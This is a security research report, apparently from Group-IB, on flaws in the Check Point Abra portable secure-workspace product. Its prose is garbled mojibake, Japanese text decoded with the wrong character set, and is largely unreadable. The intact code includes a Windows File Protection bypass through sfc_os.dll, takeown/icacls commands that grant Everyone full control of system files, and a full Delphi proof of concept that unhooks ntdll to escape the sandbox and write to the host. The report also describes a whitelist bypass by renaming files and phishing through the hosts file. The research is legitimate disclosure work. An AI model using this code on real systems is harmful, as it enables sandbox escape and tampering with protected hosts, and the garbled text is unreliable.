Group-IBã®ã¹ãã·ã£ãªã¹ãã¯ã Checkpoint Abra補åã®å¯èœæ§ã®ããã®ã£ãããåæãã調æ»ãå®æœããŸãããCheckpointAbra補åã¯ãæ¥ç¶å ã®ã³ã³ãã¥ãŒã¿ãŒã§å®å šãªä»®æ³ã¯ãŒã¯ã¹ããŒã·ã§ã³ãç·šæã§ããç¹å¥ã«æ§æãããåãå€ãå¯èœã¡ãã£ã¢ã§ãã
ãšã³ããªãŒ
ããã€ã¹ã®ã¯ã¬ãŒã ãããæè¡çç¹æ§ã«ãããã¢ããªã±ãŒã·ã§ã³ãããªã€ã³ã¹ããŒã«ãããç¹å¥ãªä»®æ³ä¿è·ç°å¢ãèµ·åããããšã«ãããOSã§ã®åäœã®ã³ã³ããã¹ãã§åé¢ããããœãããŠã§ã¢ç°å¢ãæäŸããããšãã§ããŸãã ãã£ã¹ã¯ç°å¢ã«æžã蟌ãŸãããã¹ãŠã®ä¿åããŒã¿ã¯æå·åãããŸãã
å®éããã®ãœãªã¥ãŒã·ã§ã³ã¯ãä¿¡é Œã§ããªãPCãã€ã³ã¿ãŒãããã«ãã§ïŒåãå€ãå¯èœãªã¡ãã£ã¢ã®ã€ã³ã¹ããŒã«ãèš±å¯ãããŠããå ŽåïŒãããã³ãã®ä»ã®ãããã¹ãããããåäœã§ããã¢ãã€ã«ã¯ã©ã€ã¢ã³ããä¿è·ããããšãç®çãšããŠããŸãã
ã¢ããªã±ãŒã·ã§ã³å¶åŸ¡ã«ãŒã«ã¯ããã¯ã€ããªã¹ããèšè¿°ããç¹å¥ãªãã¡ã€ã«ã«ãããŸãã
FïŒ\ PWC \ data \ sandbox-persistence.ref
FïŒ\ PWC \ data \ swspogo.xml
FïŒ\ PWC \ data \ ISWPolicy.xml
FïŒ\ PWC \ data \ ics_policy.xml
ã»ãã¥ãªãã£ä¿è·ãããã»ãã·ã§ã³ã§äœæ¥ããŠããå Žåããã¯ã€ããªã¹ãã«ãªãã¢ããªã±ãŒã·ã§ã³ã¯å®è¡ã§ããŸããã
å³ 1-èš±å¯ãªã¹ãã«ãªããµãŒãããŒãã£ã¢ããªã±ãŒã·ã§ã³ã®èµ·åããããã¯ããããšã«é¢ããã¡ãã»ãŒãžã®ãããŠã£ã³ããŠ
æ€åºãããè匱æ§
1.å®å šãªã»ãã·ã§ã³ã§ãµãŒãããŒãã£ã®ããã°ã©ã ãèµ·åãã
ã»ãã·ã§ã³å ã§ã¯ãã€ã³ã¹ããŒã«æžã¿ããã°ã©ã Internet ExplorerãNotepadãCalculatorãOfficeãRemote Desktop ConnectionïŒ+ Portable AppsïŒã®ã¿ãå®è¡ããæ§æãã¡ã€ã«ãFïŒ\ PWC \ data \ sandbox-persistenceãã«æ確ã«ç€ºãããŠãããã¹ããã·ã³ã®ã·ã¹ãã ãŠãŒãã£ãªãã£ã䜿çšã§ããŸãã ref "ã
/>
å³ 2-ã¢ããªã±ãŒã·ã§ã³èµ·åå¶åŸ¡ããªã·ãŒãã¡ã€ã«ã®å 容
ã»ãã·ã§ã³ã¢ããªã±ãŒã·ã§ã³å¶åŸ¡ã¯ããã¡ã€ã«å ã®VersionInfoãšã³ããªã ãã§ãªãããã¡ã€ã«åãã¹ã«ãã£ãŠã®ã¿å®è¡äžã®ã¢ããªã±ãŒã·ã§ã³ããã§ãã¯ããŸãã ããã¯ãä»»æã®ã¢ããªã±ãŒã·ã§ã³ãã€ã³ããŒãããŠããã£ã«ã¿ãŒããã€ãã¹ããŠå®è¡ã§ããããšãæå³ããŸãã ããã¯ãVersionInfoã»ã¯ã·ã§ã³ã®ãã¡ã€ã«åãšãã®OriginalFileNameãã£ãŒã«ããä»»æã®ãã¯ã€ããªã¹ãã«å€æŽããããšã§å®çŸãããŸãã ããã«ãå®å šãªã»ãã·ã§ã³ã«ã€ã³ããŒãããããšãªãããã¹ãOSäžã®ä»»æã®ãŠãŒã¶ãŒå®è¡å¯èœãã¡ã€ã«ïŒããšãã°ãWinRarã¢ãŒã«ã€ãïŒã眮ãæããããšãã§ããŸãããã®ãã¡ã€ã«ã¯ãå®å šãªã»ãã·ã§ã³ã§èªåçã«å®è¡ãããŸãïŒæ¡åŒµæ©èœæ¡åŒµãŸãã¯ã¹ã¿ãŒãã¡ãã¥ãŒããèµ·åããŸãïŒã
ãŸãã[ã¹ã¿ãŒã]ã¡ãã¥ãŒïŒInternet Explorerãã¡ã¢åž³ãé»åïŒããã€ã³ã¹ããŒã«æžã¿ã®ã¢ããªã±ãŒã·ã§ã³ã眮ãæãããããã¹ãOSã§ãã¡ã€ã«ä¿è·ãç¡å¹ã«ãããã管çè æš©éãå¿ èŠãªå ŽåããããŸãã ã·ã¹ãã ãã¡ã€ã«ã®çœ®æã¯ãWindowsãã¡ã€ã«ä¿è·ãç¡å¹ã«ããåŸãéåžžsfc_os.dllã·ã¹ãã ãã¡ã€ã«ïŒwindows xpïŒã«ãã£ãŠãšã¯ã¹ããŒãããã5çªç®ã®é¢æ°ãåŒã³åºããŠå®è£ ã§ããŸãã
ã³ãŒãäŸïŒ
hInst := LoadLibrary('sfc_os.dll');
proc := GetProcAddress(hInst, ordinal 5);
filename := 'c:\windows\system32\calc.exe';
asm
push -1
push filename
push 0
call proc
end
ãŸãã¯ããã¡ã€ã«ã®ã¢ã¯ã»ã¹èš±å¯ãå€æŽããããšã«ããïŒVista以éïŒïŒ
takeown / f <ãã¡ã€ã«å>
icacls <ãã¡ã€ã«å> / grantïŒ usernameïŒ ïŒF
icacls <ãã¡ã€ã«å> / grant * S-1-1-0ïŒïŒFïŒ
ããšãã°ãä¿è·ãããã»ãã·ã§ã³ã§é»åãèµ·åããåŸãCïŒ\ Windows \ System32 \ calc.exeïŒãŸãã¯CïŒ\ Windows \ SysWOW64 \ calc.exeã®åœ¢åŒã®ãã¡ã€ã«ã¯ãä¿è·ãããã»ãã·ã§ã³ã64ããããã©ãããã©ãŒã ã§å®è¡ãããŠããå Žåãã·ã¹ãã ãã©ã«ããŒããå®è¡ãããŸãïŒå¥ã®å°äœã§ã
å³ 3-OllyDbgã§ããã©ã«ãã®ããã°ã©ã å€æŽæ»æïŒèšç®æ©ïŒãæ£åžžã«å®è¡ãã
2.ããªã€ã³ã¹ããŒã«ãããã¢ããªã±ãŒã·ã§ã³ã®åæ
ã€ã³ã¹ããŒã«ãããããŒã¿ãã«ã¢ããªã±ãŒã·ã§ã³ã®ã»ããã¯ãåžžã«ææ°ããŒãžã§ã³ã§ãããšã¯éãããåžžã«æŽæ°ããããšã¯éããªããäºåã«æºåããã補åé åžã䜿çšããŸãã ããšãã°ãFileZillaãµãŒããŒ2006ããŒãžã§ã³2.2.26aïŒå ¬åŒãŠã§ããµã€ãããŒãžã§ã³3.5.3 2012ã®ææ°ãã«ãïŒã
å³ 4-ããªã€ã³ã¹ããŒã«ãããã¢ããªã±ãŒã·ã§ã³ã®éããŒãžã§ã³ããŒãžã§ã³
3.ããã»ã¹ã®æ§é ãšå®å šãªã»ãã·ã§ã³ã®ããŒãããŒããŒã®åæ
ä¿è·ãããã»ãã·ã§ã³ã®æäœäžã«ãããã»ã¹ã®åå¥ã®ã°ã«ãŒããäœæãããŸãã
å³ 5-XXXX
å®è¡å¯èœãã¡ã€ã«ãšè£œåã©ã€ãã©ãªã¯ã32ããããš64ãããã®2ã€ã®ã¢ã»ã³ããªã§æäŸãããŸãã ããã«ããããããã64ãããã·ã¹ãã ã§ã¯ãFïŒ\ Go \ PWC \ WoW64ãã©ã«ãã«ããããã€ãã®32ãããã¢ãžã¥ãŒã«ãåŒãç¶ãèµ·åãããŸãã ISWMGR.exeããã»ã¹ã®2çªç®ã®ã€ã³ã¹ã¿ã³ã¹ã¯ãexplorer.exeãšã¯ã¹ãããŒã©ããã»ã¹ãéå§ããŸããããã¯ãå®å šãªã»ãã·ã§ã³ã§éããããã¹ãŠã®å€éšãŠãŒãã£ãªãã£ãšã€ã³ããŒããããããã°ã©ã ã®èŠªã§ãã
å³ 6-XXXX
ä¿è·ãããã»ãã·ã§ã³å ã§ã€ã³ããŒãããããã¡ã€ã«ãèµ·åãããšããããã¯å¥ã®ããŒããŒã¢ããªã±ãŒã·ã§ã³FïŒ\ PWC \ WOW64 \ ISWLDR.datã«ãã£ãŠèµ·åãããŸãïŒå³8ãã·ã¹ãã ãŠãŒãã£ãªãã£ã®å Žåãã©ã€ãã©ãªã¯ããŒããŒã«ãã£ãŠèµ·åãããã«èªã¿èŸŒãŸããŸãïŒã 次ã«ãInitHooké¢æ°ãåŒã³åºããŠããã¯ãèšå®ããããšã«ãããISWUL.dllã©ã€ãã©ãªãããŒãããŸãïŒå³9ãå³10ïŒã ãã¡ã€ã«ãã¬ãžã¹ããªãã¯ãªããããŒããæå·åãªã©ãæäœããé¢æ°ãåŒã³åºãããã®ã€ã³ã¿ãŒã»ãããèšå®ããŸãã
å³ 7-ISWLDR.datããŒãããŒããŒãããã°ãŠã£ã³ããŠïŒãããã°ããŒã«ã¯ãã¢ããªã±ãŒã·ã§ã³èµ·åå¶åŸ¡ããŒã«ããã€ãã¹ããŠãã»ãã¥ãªãã£ã§ä¿è·ãããã»ãã·ã§ã³å ã§èµ·åãããŸããïŒ
å³ 8-AbraããŒããŒã«ãã£ãŠèµ·åãããã¢ããªã±ãŒã·ã§ã³ã®ã¡ã¢ãªå ã®å ã®LoadLibraryExWé¢æ°ã®ã³ãŒã
å³ 9-AbraããŒãããŒããŒã«ãã£ãŠèµ·åãããã¢ããªã±ãŒã·ã§ã³ã®ã¡ã¢ãªå ã®LoadLibraryExWé¢æ°ã®ã³ãŒãïŒã€ã³ã¿ãŒã»ãã¿ãŒãä»®æ³ã¢ãã¬ã¹765A2097ã«ã€ã³ã¹ããŒã«ãããŠããïŒ
äŸãšããŠã¯ãªããããŒããã£ã«ã¿ãŒã䜿çšããé¢æ°ããã¯ã€ã³ã¹ããŒã«ã³ãŒãã®éã¢ã»ã³ãã«ãªã¹ãã ãã®ææ³ã¯ãSetClipboardDataã¯ãªããããŒããæäœããæ©èœãæ¥åããããšã«ããå®è£ ãããŸãã GetClipboardDataãOpenClipboardãEmptyClipboardãCloseClipboardãããã³ç¬èªã®ã³ãŒã«ããã¯ãã³ãã©ãŒã®èšå®ïŒ
HANDLE (__stdcall *__cdecl GetAddrOf_SetClipboardData())(UINT, HANDLE) { HANDLE (__stdcall *result)(UINT, HANDLE); // eax@1 result = SetClipboardData; addr_SetClipboardData = SetClipboardData; return result; } int __cdecl hooks_Clipboard() { int v0; // eax@1 int v1; // eax@3 int v2; // eax@5 int v3; // eax@7 int result; // eax@9 v0 = splice_func(addr_SetClipboardData, callback_SetClipboardData); if ( v0 ) addr_SetClipboardData = v0; v1 = splice_func(addr_GetClipboardData, callback_GetClipboardData); if ( v1 ) addr_GetClipboardData = v1; v2 = splice_func(addr_OpenClipboard, callback_OpenClipboard); if ( v2 ) addr_OpenClipboard = v2; v3 = splice_func(addr_EmptyClipboard, callback_EmptyClipboard); if ( v3 ) addr_EmptyClipboard = v3; result = splice_func(addr_CloseClipboard, callback_CloseClipboard); if ( result ) addr_CloseClipboard = result; return result; }
ã€ã³ã¿ãŒã»ãã¿ãŒé¢æ°ããªãã«ããããšã«ããïŒå€æŽããåã«é¢æ°ã³ãŒãã埩å ããïŒãã€ã³ã¿ãŒã»ãã¿ãŒé¢æ°ããã€ãã¹ããããšãã§ããŸã-ã·ã¹ãã ãã©ã«ããŒããçŽæ¥ãã¡ã€ã«ãèªã¿åãããšã«ããïŒæè¡ã䜿çšããã«ã¯ãèªã¿åããšæ§é åäŸå€ãã³ãã©ãŒãã€ã³ã¹ããŒã«ããåã«ã·ã¹ãã ãã¡ã€ã«ãäžæãã©ã«ããŒã«ã³ããŒããå¿ èŠããããŸãïŒãããšãã°ntdll.dllãreadingãã¡ã€ã«ã®é¢æ°ã®æåã®10ã15ãã€ãã§ãããããŒã°ãã¡ã¢ãªå ã®å¯Ÿå¿ããé¢æ°ïŒããšãã°ãZwLoadDriverãªã©ã®ã€ã³ã¿ãŒã»ãã¿ãŒé¢æ°ãžã®ãžã£ã³ãïŒã®èªã¿åããããã¡ãŒã§äžæžãããŸãã ããšãã°ããã¯ããã¯ã䜿çšãããšãå®å šãªã»ãã·ã§ã³ããçŽæ¥ãã¹ãã·ã¹ãã ã«ãã¡ã€ã«\ã¬ãžã¹ããªãå€æŽã§ããŸãã
ã¡ã¢ãªå ã®ã·ã¹ãã ã©ã€ãã©ãªã®å ã®ã³ãŒãã埩å ããããšã«ãããã€ã³ã¿ãŒã»ããããªã»ããããææ³ãå®è£ ãããµã³ãã«ã³ãŒãïŒ
unit notepad; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, Buttons, ShlObj; type TForm1 = class(TForm) Memo1: TMemo; BitBtn1: TBitBtn; procedure FormCreate(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; Dst: array[1..12] of byte; implementation {$R *.dfm} function GetSpecialPath(CSIDL: word): string; var s: string; begin SetLength(s, MAX_PATH); if not SHGetSpecialFolderPath(0, PChar(s), CSIDL, true) then s := GetSpecialPath(CSIDL_APPDATA); result := PChar(s); end; procedure memcpy; asm push ebp mov ebp, esp push ebx push esi push edi cmp [ebp+8], 0 jz @loc_416538 cmp [ebp+$0C], 0 jz @loc_416538 cmp [ebp+$10], 0 jg @loc_41653C @loc_416538: xor eax, eax jmp @loc_41654B @loc_41653C: pusha mov esi, [ebp+$0C] mov edi, [ebp+$08] mov ecx, [ebp+$10] rep movsb popa xor eax, eax @loc_41654B: pop edi pop esi pop ebx pop ebp retn end; procedure resolve_APIs_from_dll_images(mapped_ntdll_base: pointer; dllname: string); var var_4, var_8, var_10, var_20, var_24, var_2C, var_28, var_3C, var_1C, dllbase, Src, old: DWORD; begin asm pushad mov eax, [mapped_ntdll_base] mov ecx, [eax+3Ch] mov edx, [mapped_ntdll_base] lea eax, [edx+ecx+18h] mov [var_10], eax mov ecx, [var_10] mov edx, [mapped_ntdll_base] add edx, [ecx+60h] mov [var_4], edx mov eax, [var_4] mov ecx, [mapped_ntdll_base] add ecx, [eax+1Ch] mov [var_8], ecx mov ecx, [var_4] mov edx, [mapped_ntdll_base] add edx, [ecx+20h] mov [var_20], edx mov eax, [var_4] mov ecx, [mapped_ntdll_base] add ecx, [eax+24h] mov [var_2C], ec push dllname call LoadLibrary mov [var_28], eax cmp [var_28], 0 jne @loc_41D111 jmp @ending @loc_41D111: mov [var_24], 0 jmp @loc_41D135 @loc_41D11A: mov eax, [var_24] add eax, 1 mov [var_24], eax mov ecx, [var_20] add ecx, 4 mov [var_20], ecx mov edx, [var_2C] add edx, 2 mov [var_2C], edx @loc_41D135: mov eax, [var_4] mov ecx, [var_24] cmp ecx, [eax+18h] jnb @ending mov ecx, [var_24] mov edx, [var_20] mov eax, [mapped_ntdll_base] add eax, [edx] mov ecx, [var_24] mov edx, [var_8] mov eax, [var_28] add eax, [edx+ecx*4] mov [var_3C], eax mov ecx, [var_24] mov edx, [var_8] mov eax, [mapped_ntdll_base] add eax, [edx+ecx*4] mov [Src], eax push 0Ah mov ecx, [Src] push ecx lea edx, [Dst] push edx call memcpy add esp, 0Ch lea eax, [old] push eax push PAGE_EXECUTE_READWRITE push $0A mov eax, [var_3C] push eax call VirtualProtect push 0Ah lea ecx, [Dst] push ecx mov eax, [var_3C] push eax call memcpy add esp, 0Ch jmp @loc_41D11A @ending: popad end; end; function UnHook(dllname: string): boolean; var size: DWORD; MapHandle: THandle; FileHandle: THandle; dll, filename: string; LogFileStartOffset: pointer; Begin dll := SystemDir + '\' + dllname; filename := GetSpecialPath(CSIDL_APPDATA) + '\' + dllname; result := CopyFile(PChar(dll), PChar(filename), false); if result then begin FileHandle := CreateFile(pChar(filename), GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0); If FileHandle <> INVALID_HANDLE_VALUE then Try MapHandle := CreateFileMapping(FileHandle, nil, $1000002, 0, 0, nil); If MapHandle <> 0 then Try LogFileStartOffset := MapViewOfFile(MapHandle, FILE_MAP_READ, 0, 0, 0); If LogFileStartOffset <> nil then Try size := GetFileSize(FileHandle, nil); resolve_APIs_from_dll_images(LogFileStartOffset, dllname); Finally UnmapViewOfFile(LogFileStartOffset); End; Finally // CloseHandle(MapHandle); End; Finally // CloseHandle(FileHandle); End; DeleteFile(filename); end; End; procedure write2file(filename, s: string); var f: textfile; begin assignfile(f, filename); rewrite(f); writeln(f, s); closefile(f); end; procedure TForm1.FormCreate(Sender: TObject); var a: PChar; begin a := 'ntdll.dll'; UnHook(a); write2file('c:\users\Administrator\Desktop\POC.txt', 'Now we writing to host OS'); end;
ABRA GOã§ã¯ãå®å šãªã»ãã·ã§ã³å ã§RDPãvncã¯ã©ã€ã¢ã³ãããŸãã¯vncãµãŒããŒãèµ·åããããšã¯ã§ããŸããã TightVNC RFBãããã³ã«ã¯ã©ã€ã¢ã³ãã®äŸã䜿çšããŠãã¢ããªã±ãŒã·ã§ã³å¶åŸ¡ãã€ãã¹æ¹åŒã䜿çšãããšãã¯ã©ã€ã¢ã³ããšVNCãµãŒããŒãèµ·åã§ããŸããããµãŒããŒæ¥ç¶ãŠãŒãã£ãªãã£ãèµ·åããŠãã¹ã¯ãããã衚瀺ããå Žåãå®å šãªæ¥ç¶ã¯è¡ãããŸããã
ã¯ã©ã€ã¢ã³ããŠãŒãã£ãªãã£ãèµ·åããå Žåããã¹ãOSã¯ãã¹ã¯ãããã«æ¥ç¶ãããŠè¡šç€ºãããŸããïŒã¢ãã¬ã¹127.0.0.1:5900ã«æ¥ç¶ãããŠããå ŽåïŒããã¹ã¯ãããã管çããïŒããã³ã»ãã¥ãªãã£ã§ä¿è·ãããã»ãã·ã§ã³ã®ãã©ã«ããŒã衚瀺ããã³ç®¡çããïŒå¯èœæ§ã¯ãããŸããã
ãã£ãã·ã³ã°æ»æ
ãã¹ãã·ã¹ãã ã®etc \ hostsãã¡ã€ã«ãå€æŽããããšã«ããããã£ãã·ã³ã°æ»æãå®è£ ããããšãã§ããŸãããã¹ãŠã®å€æŽã¯ãå®å šãªã»ãã·ã§ã³ã«èªåçã«é©çšãããŸãã
å³ 10-ãã£ãã·ã³ã°æ»æã®å®è¡ã«æåïŒhabrahabr.ruãªãœãŒã¹ãéãããšãããšãå¥ã®ãªãœãŒã¹ãéããŸã-æ€çŽ¢ãšã³ãžã³ããŒãžyandex.ru
ãŸãšã
ææ°ã®ãã®ãå«ãæ å ±ä¿è·ããŒã«ã®äœ¿çšã¯ããã®æ©èœã®å®¢èŠ³çãªè©äŸ¡ã«åºã¥ããŠããå¿ èŠããããŸãã RBSã·ã¹ãã ã®ã¯ã©ã€ã¢ã³ãã«ã¯ç¹å¥ãªæ³šæãæãå¿ èŠããããŸããRBSã·ã¹ãã ã¯ãéè¡ã®å©èšã«åºã¥ããŠãããŸããŸãªä¿è·ã·ã¹ãã ã®äœ¿çšãæ±ããŠããŸãã ç¹å¥ãªããŒããŠã§ã¢ã䜿çšãããšãã¯ã©ã€ã¢ã³ãã®ã»ãã¥ãªãã£ã匷åã§ããŸãããæœåšçãªãªã¹ã¯ããã¹ãŠæé€ããããšã¯ã§ããŸããã